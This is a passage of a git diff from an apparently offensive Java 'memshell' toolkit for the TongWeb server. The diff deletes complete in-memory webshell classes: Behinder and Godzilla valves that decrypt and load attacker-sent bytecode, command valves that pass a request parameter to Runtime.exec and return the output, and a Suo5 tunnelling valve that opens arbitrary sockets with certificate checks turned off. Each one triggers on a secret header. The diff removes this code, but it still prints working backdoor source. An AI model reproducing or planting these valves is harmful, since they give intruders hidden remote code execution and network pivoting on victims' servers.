Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderValve6(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - @Override - public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { - - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java deleted file mode 100644 index b9ee7488..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java +++ /dev/null @@ -1,133 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.behinder; - -import com.tongweb.catalina.Valve; -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.IOException; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderValve7 extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public BehinderValve7() { - } - - public BehinderValve7(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderValve7(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java deleted file mode 100644 index 18dee413..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.command; - -import com.tongweb.web.thor.Valve; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - */ -public class CommandValve6 implements Valve { - public static String paramName; - protected Valve next; - protected boolean asyncSupported; - - public CommandValve6() { - } - - @Override - public String getInfo() { - return ""; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - this.getNext().invoke(request, response); - } - } - - @Override - public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { - - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java deleted file mode 100644 index df03d085..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java +++ /dev/null @@ -1,62 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.command; - -import com.tongweb.catalina.Valve; -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - */ -public class CommandValve7 implements Valve { - public static String paramName; - protected Valve next; - protected boolean asyncSupported; - - public CommandValve7() { - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java deleted file mode 100644 index 7a68652c..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java +++ /dev/null @@ -1,147 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.godzilla; - -import com.tongweb.web.thor.Valve; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaValve6 extends ClassLoader implements Valve { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public GodzillaValve6() { - } - - public GodzillaValve6(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public String getInfo() { - return ""; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve6(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - @Override - public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { - - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java deleted file mode 100644 index 65b20f0f..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java +++ /dev/null @@ -1,136 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.godzilla; - -import com.tongweb.catalina.Valve; -import com.tongweb.catalina.connector.Request; -import com.tongweb.catalina.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaValve7 extends ClassLoader implements Valve { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public GodzillaValve7() { - } - - public GodzillaValve7(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve7(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java index 7ef58b85..d7695002 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebFilterInjector.java @@ -6,7 +6,10 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Map; import java.util.logging.Logger; import java.util.zip.GZIPInputStream; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java deleted file mode 100644 index 9a4de72b..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/suo5/Suo5Valve6.java +++ /dev/null @@ -1,606 +0,0 @@ -package com.reajason.javaweb.memshell.tongweb.suo5; - -import com.tongweb.web.thor.Valve; -import com.tongweb.web.thor.comet.CometEvent; -import com.tongweb.web.thor.connector.Request; -import com.tongweb.web.thor.connector.Response; - -import javax.net.ssl.*; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - */ -public class Suo5Valve6 implements Valve, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - protected Valve next; - protected boolean asyncSupported; - - public Suo5Valve6() { - } - - public Suo5Valve6(InputStream gInStream, OutputStream gOutStream) { - this.gInStream = gInStream; - this.gOutStream = gOutStream; - } - - @Override - public String getInfo() { - return ""; - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException { - - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - String contentType = request.getContentType(); - if (contentType == null) { - this.getNext().invoke(request, response); - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - this.getNext().invoke(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Valve6 p = new Suo5Valve6(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws 